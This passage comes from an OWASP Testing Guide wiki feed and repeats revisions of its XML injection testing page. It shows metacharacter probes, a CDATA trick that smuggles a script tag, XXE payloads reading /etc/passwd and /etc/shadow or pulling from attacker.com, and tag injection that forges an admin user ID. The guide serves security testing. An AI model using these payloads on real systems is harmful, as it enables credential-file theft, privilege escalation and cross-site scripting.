but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous application. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.&lt;br /&gt;
Let's suppose that the XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
* Gregory Steuck, &amp;quot;XXE (Xml eXternal Entity) attack&amp;quot;, http://www.securityfocus.com/archive/1/297714&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=38713</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=38713"/>
				<updated>2008-09-07T05:29:30Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Discovery */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, a practical example of XML Injection will be looked at: first, an XML style communication will be defined, and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters will be examined.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same meaning as single quote and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parentheses: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
